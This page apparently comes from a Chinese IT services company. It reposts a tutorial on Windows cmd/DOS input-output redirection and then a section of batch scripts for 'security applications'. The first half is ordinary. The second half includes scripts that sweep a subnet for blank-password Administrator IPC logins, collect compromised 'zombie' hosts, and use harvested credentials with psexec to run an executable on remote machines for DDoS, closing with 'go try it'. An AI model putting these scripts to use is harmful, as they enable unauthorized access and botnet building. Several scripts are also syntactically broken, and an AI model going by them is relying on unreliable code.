服务器系统集成及数据服务中心

 

一级栏目
一级栏目
一级栏目
一级栏目
一级栏目
一级栏目
一级栏目
一级栏目
谐态…………………………………………………………………………………………>>>

DOS技术汇编1-重定向

一、Windows cmd命令行输入输出重定向问题

 废话不多说了,在Unix下重定向用着感觉很high,现在想把win下的nslookup的错误提示“*** Can''''t find server name for address 10.3.9.5: Non-existent domain”一同导出到txt文件,windows抄袭unix,stdio(0),stdout(1),stderr(2)都跟unix是一样的
 
重定向符号主要有:>,>>,<,>&,<&和|,以下只有前五个的介绍,最后一个是管道,与Unix亦完全一致。
 
▲1、
 
首先从一个经典问题开始,“1>nul 2>nul”的意思是既屏蔽正常的输出又屏蔽错误的输出,那么我们马上就知道了这里的1表示正常输出(即所谓的“标准输出”stdout),2表示错误输出(即所谓的“标准错误输出”stderr)。
 
1和2其实是句柄stdout和stderr的数字代号,至于什么是句柄,我认为可以理解为某种事物的一种标识,或者说这个句柄指向某个事物。举个例子来说,“标准输出”以句柄stdout为标识,或者说句柄stdout指向“标准输出”。
 还有一个句柄stdin,它是所谓“标准输入”的标识,数字代号是0。除此之外还有3~9可用,只是它们没有定义。
 
“标准输出”和“标准错误输出”默认是要输出到控制台con(即cmd窗口)的,而“标准输入”默认是由控制台con(即键盘)输入的,因此重定向的目的就是将输入输出流从默认位置重定向到新的位置。符号“>”和“>>”的默认句柄代号是1,而“<”的默认句柄代号是0。
 
“echo hhhhhh”类似于这样的语句可以说是我们再熟悉不过的了,但这只是种默认的状态,其实里面还有一些内容。这一句完整的应该是这样的:“echo hhhhhh 1>con 2>con”,意思是将echo命令的结果中的标准输出和标准错误输出输出到控制台con中,只不过此时标准错误输出是空的。
 
再看一个例子,如果给dir一个错误的参数,例如“dir /mm”,那么写全了就是“dir /mm 1>con 2>con”,只不过此时的标准输出是空的。如果你这样写的话“dir /mm 1>hero.txt”,那么屏幕上会照常显示错误信息但hero.txt中不会有内容。
 
再来一个标准输入的例子,“set /p var= ”其实应该是这样的“set /p var= 0<con”,只是因为0<con是默认值可以省略。我们当然可以从文件中读取输入,如“set /p var= 0<file.txt”,0是默认值可以省略。
 
nul代表的是“空设备”,是一个不存在的设备,将输出流重定向到空设备就相当于屏蔽掉了一样。而如果从空设备中读取输入,自然是读不到东西的,但的确是输入了,这也就是“set /p var=<nul”中“<nul”相当于回车但不换行的原因。
 
▲2、
 
下面要讲的是句柄代码之间的“重定向”。 之前不是提到过还有3~9这7个句柄数字代号吗,这些究竟有什么用?说实话,基本没什么用,因此建议你如果不是迫切想知道这部分内容的话就不要往下看了。
 
“echo hero 1>hero.txt”这一句是将标准输出重定向到文件hero.txt,相当于将句柄代号1的指向由con变为hero.txt。“echo hero 3>hero.txt 1<&3”,这句的结果是生成了文件hero.txt,其内容为hero,过程是这样的:“3>hero.txt”是将句柄数字代号 3的指向由“空”变为hero.txt;“1<&3”是将句柄数字代号3的指向复制给1的指向,此时1的指向就为hero.txt了,因此标准输出就被重定向到hero.txt中了。
 
“i<&j”和“i>&j”的效果都是把j的指向复制给i。“echo hero >hero.txt 2>&1”这句的意思是,无论是标准输出还是标准错误输出都会被重定向到hero.txt中,具体过程:1的指向由con转为 hero.txt,“2>&1”是把1的指向复制给2,此时2的指向也变为了hero.txt,因此1和2都会被重定向到hero.txt 中。注意:1是符号“>”的默认句柄数字代号。
 
再看“echo hero 3>hero.txt”,这个为什么就不能将结果重定向到文件中呢?记住,我们要重定向的只有标准输入、标准输出和标准错误输出,因此真正“干活” 的就只有0、1和2,因为它们分别指代了前面的三者,而3没有指代任何句柄只能作为间接量使用。
 
“more 3<hero.txt 0>&3”这句是显示文件hero.txt,具体过程:“3<hero.txt”把3的指向变为 hero.txt,“0>&3”把3的指向复制给0,即0指向了hero.txt(只不过这次是从hero.txt中读取数据)。强调一下,真正能读取数据的是0而不是3,3只是作为中间量而已。刚才这句我们当然可以这么写:“more 0<hero.txt”或直接“more <hero.txt”。
 
再来一个例子“echo hero 5>hero.txt 4>&5 3<&4 1<&3”,结果输出到了hero.txt中。具体过程:5的指向变成hero.txt,“4>&5”把5的指向复制给 4,“3>&4”把4的指向复制给3,“1>&3”把3的指向复制给1,最终1的指向就是hero.txt,则1所指代的标准输出就被重定向到了hero.txt。
 
▲3、
 
注意:这一节的内容都是围绕着下面这个例子进行叙述的。
 
代码:
 
@echo off
echo 英雄是好男人!!!
echo 1>nul 3>nul
echo 英雄是
echo 英雄是
echo 这是怎么回事,难道就不能 1>con 4>con
pause
这究竟是怎么回事?为什么结果会如此出乎意料?
 这里涉及到一个所谓“备份”的问题,就是在修改某个句柄代号的指向之前,系统会把该句柄代号原来的指向备份到截止到目前第一个指向为空的句柄代号中。目的是当这一行的程序结束之后,系统可以通过备份找回原来的指向。
 
( 在继续阅读之前建议你准备好纸笔,以便能记录下各个代号指向的变化,这样不至于混乱)
我们现在把焦点集中到这句“echo. 1>nul 3>nul”上来。这句究竟是如何工作的呢?
 
第一步:在运行“1>nul”之前,1的指向是默认值con,此时代号3~9的指向都是空(初始值),因此系统会把1的指向备份到3(因为3是第一个为空的代号),3就指向了con。就是说系统把1原来的指向复制给了3,目的是语句结束后能找回原来的指向,这就相当于备份。
 
第二步:现在3的指向是con。然而由于要运行“3>nul”,因此还要备份3的指向。此时4是空的,系统就把3的指向con复制给了4,即4现在指向con。就是说3以4为备份。
 
第三步:由于“3>nul”使得3指向了nul。
 
第四步:这行语句结束时,1要找回原来的指向,从以上叙述我们知道,3是1的备份,因此1要通过3来恢复“原来”的指向,但此时3的指向已经变为了nul,故1就指向nul。
 
第五步:而3要恢复原来的指向就要找4,4指向con,故3恢复为con;4原始指向是空的,其备份在5中,故4的指向恢复到空。
 
至此我们理顺一下,现在1指向nul,2指向默认值con,3指向con,4之后都是空指向。那么在运行后两句echo语句时由于1指向nul,即标准输出被重定向到空设备,故显示被屏蔽。
 
再来看看这句 “echo 这是怎么回事,难道就不能 1>con 4>con” 这句是怎么工作的呢?
 
第一步:1当前指向是nul,由于要运行“1>con”,因此要进行备份。但此时3指向的是con非空,故系统将1的指向备份到4,即4指向nul。
 
第二步:又由于要运行“4>con”,故4现在的指向nul就又被备份到5中,5以后的事姑且省略。
 第三步:运行完“4>con”之后4就指向con。
 第四步:该行程序结束后,1要通过4来恢复指向。4指向con,故1指向con从而恢复了默认状态。而4找5,5指向nul,故4指向nul。
 我们再数一数现在的情况,0指向con,1指向con,2指向con,3没动还是指向con,4指向nul,5以后都为空指向。
 会不会有点乱?那就再好好的看几遍吧,或者是看看这篇,讲的更基础一些:
 
▲4
 我们已经知道“echo hero”相当于“echo hero 1>con 2>con”,con表示控制台,可以把con看做是特殊的文件,这就是我们无法建立名为con文件的原因。
 
再对“>”和“>>”的重定向机制做个分析。当要重定向到的文件有隐藏或系统属性时,“>>”可以正常运行,而 “>”就无法操作了。据此我推测,对于“>”的重定向输出,如果文件不存在当然是建立文件,而如果文件存在就先将文件删除,然后再新建文件,也就是说并非是覆盖文件的内容而是先删除文件再建立新文件。
 
通过第三节的讲解你应该明白为什么类似这样的语句“echo hero >nul >con >hero.txt >con”会以最后一个为准了吧。
 
最后需要注意一点的是重定向输出无法输出到只读文件。
 
完。
 WIN下的大部分重定向与Unix还是一致的,嗯
 
下面是补充

Command 功能
command > filename 把标准输出重定向到一个文件中
command >> filename 把标准输出重定向到一个文件中(追加)
command 1 > fielname 把标准输出重定向到一个文件中
command > filename 2>&1 把标准输出和标准错误一起重定向到一个文件
command 2 > filename 把标准错误重定向到一个文件中
command 2 >> filename 把标准错误重定向到一个文件中(追加)
command >> filename 2>&1 把标准输出和标准错误一起重定向到一个文件中(追加)
command < filename1 > filename2 command命令以filename1文件作为标准输入,以filename2文件作为标准输出
command < filename command命令以filename文件作为标准输入
command << delimiter 从标准输入中读入,直至遇到delimiter分界符
command < &m 将文件描述符m作为标准输入
command > &m 将标准输出重定向到文件描述符m中
command < &- 关闭标准输入

5、

dos重定向符 > 和 >>, 利用重定向获取需要信息

  在cmd窗口中查询某条命令的帮助时,帮助信息是显示在命令行窗口中的,若下次还想看,可以再查;也可以复制保存后查看,也可以使用重定向命令保存,
 
  稍微繁琐一点的办法就是复制命令行窗口中的信息,然后粘贴到文本中保存起来。这个操作比较繁琐的:在命令行窗口点击右键,然后选择“标记”,用鼠标拉出复制范围,然后敲回车,最后,粘贴到文本中去。
  高效的办法就是:使用重定向符号,把原本输出到cmd窗口中的信息重定向到文本文件中去。
 
  重定向符号有两个:>和>>。它们的作用都是改变各种提示信息的输出方向,把提示信息输出到指定的地方去——各种提示信息默认是输出到屏幕上去的。例如:tree /?>help.txt,这条命令语句就把 tree 命令的帮助信息重定向到了help.txt文件中,help>nul 就把 help 命令的提示信息重定向到了空设备中去(nul表示空设备)。
 
  想看看cmd中都有哪些基本命令吗?在cmd窗口中输入 help 就可以看到了;如果想把这些基本命令信息保存下来,请使用 help>d:\list.txt,然后,到D盘根目录下找到list.txt文件打开即可。
 
>和>>虽然都起到重定向提示信息的作用,但是,它们的作用稍有差别。
 
单个的>表示以覆盖方式重定向提示信息,也就是如果目的地原来有内容,将把原来的内容清除掉,用新内容填充;
 
>>表示以追加的方式重定向提示信息,也就是说,如果目的地原来有内容,原有的内容将保持不变,在原有内容之后追加新内容。
 
例如:假设d:\test.txt中的内容是:I Love batch。那么,在cmd窗口中,分别使用如下两条语句:echo me,too>d:\test.txt和echo me,too>>d:\test.txt,将会发现,使用第一条语句之后,test.txt中只有一行内容:me,too,而使用第二条语句之后,test.txt中将有两条内容,分别是I Love batch和me,too。
 


二、DOS的重定向命令使用方法及其在安全方面的应用

  DOS下有一个特殊的命令——重定向命令,非常有用,巧妙灵活运用可以给我们带来很大的方便——无论是入侵还是防守,抑或是系统应用,都可以巧妙利用,下面是几个重定向命令在安全方面的应用实例

▲1、命令格式
 
  DOS的标准输入输出通常是在标准设备键盘和显示器上进行的,利用重定向,可以方便地将输入输出改向磁盘文件或其它设备。其中:
 
(1)、大于号“>”将命令发送到文件或设备,例如打印机>prn。使用大于号“>”时,有些命令输出(例如错误消息)不能重定向。
 
(2)、双大于号“>>”将命令输出添加到文件结尾而不删除文件中已有的信息。
 
(3)、小于号“<”从文件而不是键盘上获取命令所需的输入。
 
(4)、>&符号将输出从一个默认I/O流(stdout,stdin,stderr)重新定向到另一个默认I/O流。
 
例如,command >output_file 2>&1将处理command过程中的所有错误信息从屏幕重定向到标准文件输出中。标准输出的数值如下所示:
 
标准输出 等价的数值
 
Stdin 0
Stdout 1
Stderr 2
 
其中,(1)和(2)都创建一个文件用于存放数据(4)可能不能够在DOS下使用。
 
▲2、重定向命令的输出
 
几乎所有的命令均将输出发送到屏幕。即使是将输出发送到驱动器或打印机的命令,也会在屏幕上显示消息和提示。要将输出从屏幕重定向到文件或打印机,请使 用大于号(>)。大多数命令中均可以使用大于号。例如,在以下命令中,dir命令生成的目录列表重定向到Dirlist.txt文件: dir>dirlist.txt,如果Dirlist.txt文件不存在,系统将创建该文件。如果Dirlist.txt存在,系统将使用dir命 令的输出替换文件中的信息。
 
要将命令输出添加到文件结尾而不丢失文件中的任何信息,请使用双大于号(>>)。例如, 在以下命令中,dir命令生成的目录列表附加到Dirlist.txt文件中:dir>dirlist.txt,将输入重定向到一个命令,就象可以 将命令输出发送到文件或打印机而不是屏幕一样,您可以从文件而不是从键盘获取命令的输入。要从文件获取输入,请使用小于号(<)。例如,以下命令将 从List.txt文件中获取sort命令的输入:sort
 
▲3、应用举例
 
①给注册表加锁/解锁
 
大家知道,注册表HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVerssion\ Policies\System分支下的DWORD值“Disableregistrytools”的键值如为“1”,则可以给注册表加锁,这样别人就无 法使用注册表编辑器。利用重定向命令在DOS下就可以给注册表加锁/解锁,非常方便。
 
打开记事本程序,新建一个文本文件,输入如下内容:
 
@echo REGEDIT4>>123.reg
@echo.>>123.reg
@echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]>>123.reg
@echo "DisableRegistryTools"=dword:00000001>>123.reg
@REGEDIT /S /C 123.reg
@deltree /y 123.reg

另存为以.bat为扩展名的批处理文件,点击这个文件注册表就会被锁定!
 
在上面的命令中,echo是DOS下的回显命令,在它的前面加上“@”前缀字符,表示执行时本行在命令行或DOS里面不显示,如果想看到程序执行过程, 请将“@”去掉。大家在编写上述代码时要注意的是,第一行中的“REGEDIT4”一定要用大写字母,在第二行中“echo”和“.”之间没有空格。 “>>”产生的内容将追加到它后面的文件中。在文件的最后一行加上deltree /y 123.reg,就可以无需确认就删除123.reg文件。
 
要想给注册表解锁,可以编辑这个批处理文件,只需将 "DisableRegistryTools"=dword:00000001改为"DisableRegistryTools"=dword: 00000000,其他内容不变,保存为.bat文件,点击就可以给注册表解锁了。
 
②把登陆3389的机器IP记录下来
 
把下面的内容保存为3389IP.bat: 

time /t >>log.log
netstat -n -p tcp |find ":3389">>Log.log
start Explorer

运行3389IP.bat,然后查看log.log文件即可看到登陆3389的机器IP,是不是很方便呢?
 
③恢复DOS实模式
 
大家知道,某些恶意网页会修改浏览者的注册表,在无所不用其极的各种手段中,修改注册表使DOS实模式不可用是其中的招数之一。要想恢复DOS实模式方法有很多,用批处理和重定向命令结合使用,是比较特别的一招,在此与大家分享。
 
echo off
echo REGEDIT4>c:\scanreg.reg
@echo.>>lock.reg
echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\WinOldApp]>>c:\scanreg.reg
echo "NoRealMode"=dword:00000000>>c:\scanreg.reg
regedit /s c:\scanreg.reg
@del c:\scanreg.reg

另存为以.bat为扩展名的批处理文件,点击这个文件就可以恢复DOS实模式,那些DOS应用程序又可以使用了。
 
④等待肉鸡上门
 
每天费时费力的找肉鸡是不是很辛苦,利用重定向命令和批处理文件就可以让你简单的找到肉鸡!方法是用记事本新建一个文本文件,输入如下内容:
 
@echo off
:start
nc -vv -w 5 -l -p 80>>rouji.log
goto start

保存为.bat文件(事先得准备好一个nc.exe文件,它是网络故障事件检测软件Netcat的主程序),然后运行此程序之后,你就等着肉鸡上门主动来找你吧!运气好的话,每天10个不成问题。
 
⑤快速进行空连接
 
空连接是在没有信任的情况下与服务器建立的会话,换句话说,它是一个到服务器的匿名访问。使用命令net use \\IP\ipc""/user:""就可以简单地和目标建立一个空连接(需要目标开放IPC)。利用重定向命令和for命令就可以对一个C类网段进行快速的空连接,并把结果保存到一个文件 中供你分析。方法是用记事本编辑如下内容的文件:
 
@echo off
echo 格式:test *.*.*>test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%Gipc""/use:"Administrator"|find"命令完成">>test.txt
批处理文件保存为.bat,运行即可。这个批处理文件的功能是对你指定的一个C类网段中的254个ip依次试建立帐号为administrator口令为空的ipc连接,如果成功就把结果记录在test.txt。这样就实现了NT弱口令扫描功能!其中,for命令的功能是对一组文件中的每一个文件执行 某个特定命令,也就是可以用你指定的循环范围生成一系列命令。For命令的格式为:FOR %variable IN (set) DO command [command-parameters],具体的含义:
 
%variable:指定一个单一字母可替换的参数。
 
(set):指定一个或一组文件。可以使用通配符。
 
command:指定对每个文件执行的命令。
 
command-parameters:为特定命令指定参数或命令行开关。
 
在批处理文件中使用FOR命令时,指定变量请使用%%variable而不要用%variable。变量名称是区分大小写的,所以%i不同%I。
 
⑥禁止空连接
 
空连接的存在对有一定的危险,所以我们还是禁止它为好!方法是输入net share察看本地共享资源,接下来输入如下命令删除共享:
 

net share ipc/deletenetshareadmin /delete
 net share c/deletenetshared /delete(如果有e,f等盘符可以同法删除)
 
然后用记事本新建一个文本文件,输入如下内容即可:
 
@echo REGEDIT4>>123.reg
@echo.>>123.reg
@echo [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA]>>123.reg
@echo "RestrictAnonymous"=dword:00000001>>123.reg
@REGEDIT /S /C 123.reg
@deltree /y 123.reg

另存为以.bat为扩展名的批处理文件,点击这个文件就可以禁止空连接。
 
⑦扫描所有和本机以TCP协议连接的计算机
 
扫描自己的计算机端口,发现有特殊端口打开,可以查木马,不仅如此,利用下面这个批处理文件还可以把所有和本机以TCP协议连接的计算机IP地址都记录下来。这个.bat文件内容如下:
 
data /t>>123.log
time /t>>123.log
netstat -n -p tcp 10>>123.log

这样不仅可以记录下对方的IP,还有时间和日期,方便自己查看。
 
⑧自动获取DDoS肉鸡
 
DDoS是Distributed Denial of Service的缩写,意即分布式拒绝服务攻击。它是指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DoS攻击,从 而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯, 代理程序已经被安装在Internet上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理 程序的运行。
 
虽然不建议大家使用DDoS方式攻击,但作为技术掌握还是很有必要的。可是,如何才能获取进行DDoS攻击的肉鸡呢?把下面的内容保存为ok.bat文件就可以达到目的了:
 
@echo off
echo自动获取DDoS肉鸡
for /f "tokens=1,3*" %i in (host.txt) do net use \\%k\ipc/user:"\sysytem32
if errorelevel 0 goto success
psexec -d \\%i c:\winnt\system32\%1
net user \\%i\ipc$ /del
:success
echo >>success.txt
echo 肉鸡:%i>>success.txt
echo 用户名:%j>>success.txt
echo 密码:%k>>success.txt
echo >>success.txt

使用方法是ok.bat *.exe host.txt,其中host.txt的格式为:ip administrator password。好了,快试试吧。但不要用来干破坏。
 
其实,本文所说的方法主要是利用了批处理和相关的命令,重定向命令在其中只是个纽带,起连接作用,但也是不可忽视的,运用得好,能够大大提高工作效率和方便性。

发布时间:2020/5/20 阅读:5444次 来源:
 


 
谐态分类
   
  行业新闻
 
  公司动态
 
  技术资料
 
  电脑维修
 
  恢复案例
 
  SQL数据库
 
  磁盘阵列
 
  服务器
 
  财务软件
 
  网络问题
 
  linux-XFS
 
  苹果电脑&系统
 
  安卓系统相关
 
  办公文件
 
  操作系统
 
  日常生活(烟台)
 
  网站相关
 
   
 
友情链接
 
 
 
 
 
   
公司地址:烟台电脑市场#308
电话:0535-6688830 E-Mail:163@163.com
Copyright©2011-2012 烟台瑞驰科贸有限公司 All Rights Reserved.
鲁ICP备11014811号-1
您是本站第 位访问者